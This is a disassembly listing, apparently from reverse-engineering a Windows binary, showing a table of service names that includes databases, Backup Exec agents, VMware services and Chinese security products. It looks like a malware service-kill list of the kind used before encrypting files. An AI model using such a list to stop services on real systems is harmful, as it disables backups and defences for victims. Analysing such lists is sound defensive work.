.rdata:000000014005EC70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTplusstdappser&nbsp;;&nbsp;"TPlusStdAppService1300"
.rdata:000000014005EC78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssqlSql2008&nbsp;;&nbsp;"MSSQL$SQL2008"
.rdata:000000014005EC80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlagentSql200&nbsp;;&nbsp;"SQLAgent$SQL2008"
.rdata:000000014005EC88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTplusstdtaskse&nbsp;;&nbsp;"TPlusStdTaskService1300"
.rdata:000000014005EC90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTplusstdupgrad&nbsp;;&nbsp;"TPlusStdUpgradeService1300"
.rdata:000000014005EC98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVirboxwebserve&nbsp;;&nbsp;"VirboxWebServer"
.rdata:000000014005ECA0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aJhiService&nbsp;&nbsp;&nbsp;;&nbsp;"jhi_service"
.rdata:000000014005ECA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aLms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"LMS"
.rdata:000000014005ECB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aEcardmpservice&nbsp;;&nbsp;"eCardMPService"
.rdata:000000014005ECB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aEnergydataserv&nbsp;;&nbsp;"EnergyDataService"
.rdata:000000014005ECC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aUi0detect&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"UI0Detect"
.rdata:000000014005ECC8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aK3mobileservic&nbsp;;&nbsp;"K3MobileService"
.rdata:000000014005ECD0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTcpiddaservice&nbsp;;&nbsp;"TCPIDDAService"
.rdata:000000014005ECD8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWebattendserve&nbsp;;&nbsp;"WebAttendServer"
.rdata:000000014005ECE0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aUiodetect&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"UIODetect"
.rdata:000000014005ECE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVmauthdservice&nbsp;;&nbsp;"VMAuthdService"
.rdata:000000014005ECF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVmusbarbservic&nbsp;;&nbsp;"VMUSBArbService"
.rdata:000000014005ECF8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVmwarehostd&nbsp;&nbsp;;&nbsp;"VMwareHostd"
.rdata:000000014005ED00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVmagentdaemon&nbsp;;&nbsp;"VmAgentDaemon"
.rdata:000000014005ED08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOpensshd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"OpenSSHd"
.rdata:000000014005ED10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aEsightservice&nbsp;;&nbsp;"eSightService"
.rdata:000000014005ED18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aApachezt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"apachezt"
.rdata:000000014005ED20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aJenkins&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"Jenkins"
.rdata:000000014005ED28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSecbizsrv&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"secbizsrv"
.rdata:000000014005ED30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsmq&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"MSMQ"
.rdata:000000014005ED38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSmtpsvrjt&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"smtpsvrJT"
.rdata:000000014005ED40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aZybSync&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"zyb_sync"
.rdata:000000014005ED48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;a360enthttpserv&nbsp;;&nbsp;"360EntHttpServer"
.rdata:000000014005ED50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;a360entsvc&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"360EntSvc"
.rdata:000000014005ED58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;a360entclientsv&nbsp;;&nbsp;"360EntClientSvc"
.rdata:000000014005ED60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aNfwebserver&nbsp;&nbsp;;&nbsp;"NFWebServer"
.rdata:000000014005ED68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWampapache&nbsp;&nbsp;&nbsp;;&nbsp;"wampapache"
.rdata:000000014005ED70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMssearch&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"MSSEARCH"
.rdata:000000014005ED78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMsftesql&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"msftesql"
.rdata:000000014005ED80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOracledbconcol&nbsp;;&nbsp;"OracleDBConcoleorcl"
.rdata:000000014005ED88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOraclejobsched&nbsp;;&nbsp;"OracleJobSchedulerORCL"
.rdata:000000014005ED90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOraclemtsrecov&nbsp;;&nbsp;"OracleMTSRecoveryService"
.rdata:000000014005ED98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOracleoradb11g&nbsp;;&nbsp;"OracleOraDb11g_home1ClrAgent"
.rdata:000000014005EDA0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOracleoradb11g_0&nbsp;;&nbsp;"OracleOraDb11g_home1TNSListener"
.rdata:000000014005EDA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOraclevsswrite&nbsp;;&nbsp;"OracleVssWriterORCL"
.rdata:000000014005EDB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOracleserviceo&nbsp;;&nbsp;"OracleServiceORCL"
.rdata:000000014005EDB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAspnetState&nbsp;&nbsp;;&nbsp;"aspnet_state"
.rdata:000000014005EDC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRedis&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"Redis"
.rdata:000000014005EDC8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aJhtask&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"JhTask"
.rdata:000000014005EDD0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aImedictupdates&nbsp;;&nbsp;"ImeDictUpdateService"
.rdata:000000014005EDD8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMcservice&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"MCService"
.rdata:000000014005EDE0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAllpassRedisse&nbsp;;&nbsp;"allpass_redisservice_port21160"
.rdata:000000014005EDE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFtnlsv3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"ftnlsv3"
.rdata:000000014005EDF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFtnlses3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"ftnlses3"
.rdata:000000014005EDF8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFxservice&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"FxService"
.rdata:000000014005EE00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFtusbrdwks&nbsp;&nbsp;&nbsp;;&nbsp;"ftusbrdwks"
.rdata:000000014005EE08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFtusbrdsrv&nbsp;&nbsp;&nbsp;;&nbsp;"ftusbrdsrv"
.rdata:000000014005EE10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aWwbizsrv&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"wwbizsrv"
.rdata:000000014005EE18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aQemuGa&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"qemu-ga"
.rdata:000000014005EE20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAlibabaprotect&nbsp;;&nbsp;"AlibabaProtect"
.rdata:000000014005EE28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aZtevdservice&nbsp;;&nbsp;"ZTEVdservice"
.rdata:000000014005EE30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aKbasesrv&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"kbasesrv"
.rdata:000000014005EE38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMmrhookservice&nbsp;;&nbsp;"MMRHookService"
.rdata:000000014005EE40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aIpoverusbsvc&nbsp;;&nbsp;"IpOverUsbSvc"
.rdata:000000014005EE48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aKuaiyuntools&nbsp;;&nbsp;"KuaiYunTools"
.rdata:000000014005EE50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aKmseldi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"KMSELDI"
.rdata:000000014005EE58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBtpanel&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"btPanel"
.rdata:000000014005EE60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aProtect2345exp&nbsp;;&nbsp;"Protect_2345Explorer"
.rdata:000000014005EE68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;a2345picsvc&nbsp;&nbsp;&nbsp;;&nbsp;"2345PicSvc"
.rdata:000000014005EE70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVmwareConverte&nbsp;;&nbsp;"vmware-converter-agent"
.rdata:000000014005EE78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVmwareConverte_0&nbsp;;&nbsp;"vmware-converter-server"
.rdata:000000014005EE80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVmwareConverte_1&nbsp;;&nbsp;"vmware-converter-worker"
.rdata:000000014005EE88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aQqcertificates&nbsp;;&nbsp;"QQCertificateService"
.rdata:000000014005EE90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOracleremexecs&nbsp;;&nbsp;"OracleRemExecService"
.rdata:000000014005EE98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpsdaemon&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"GPSDaemon"
.rdata:000000014005EEA0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpsusersvr&nbsp;&nbsp;&nbsp;;&nbsp;"GPSUserSvr"
.rdata:000000014005EEA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpsdownsvr&nbsp;&nbsp;&nbsp;;&nbsp;"GPSDownSvr"
.rdata:000000014005EEB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpsstoragesvr&nbsp;;&nbsp;"GPSStorageSvr"
.rdata:000000014005EEB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpsdataprocsvr&nbsp;;&nbsp;"GPSDataProcSvr"
.rdata:000000014005EEC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpsgatewaysvr&nbsp;;&nbsp;"GPSGatewaySvr"
.rdata:000000014005EEC8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpsmediasvr&nbsp;&nbsp;;&nbsp;"GPSMediaSvr"
.rdata:000000014005EED0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpsloginsvr&nbsp;&nbsp;;&nbsp;"GPSLoginSvr"
.rdata:000000014005EED8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpstomcat6&nbsp;&nbsp;&nbsp;;&nbsp;"GPSTomcat6"
.rdata:000000014005EEE0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpsmysqld&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"GPSMysqld"
.rdata:000000014005EEE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGpsftpd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"GPSFtpd"
.rdata:000000014005EEF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBackupexecagen&nbsp;;&nbsp;"BackupExecAgentAccelerator"
.rdata:000000014005EEF8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBedbg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"bedbg"
.rdata:000000014005EF00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBackupexecdevi&nbsp;;&nbsp;"BackupExecDeviceMediaService"
.rdata:000000014005EF08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBackupexecrpcs&nbsp;;&nbsp;"BackupExecRPCService"
.rdata:000000014005EF10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBackupexecagen_0&nbsp;;&nbsp;"BackupExecAgentBrowser"
.rdata:000000014005EF18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBackupexecjobe&nbsp;;&nbsp;"BackupExecJobEngine"
.rdata:000000014005EF20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBackupexecmana&nbsp;;&nbsp;"BackupExecManagementService"
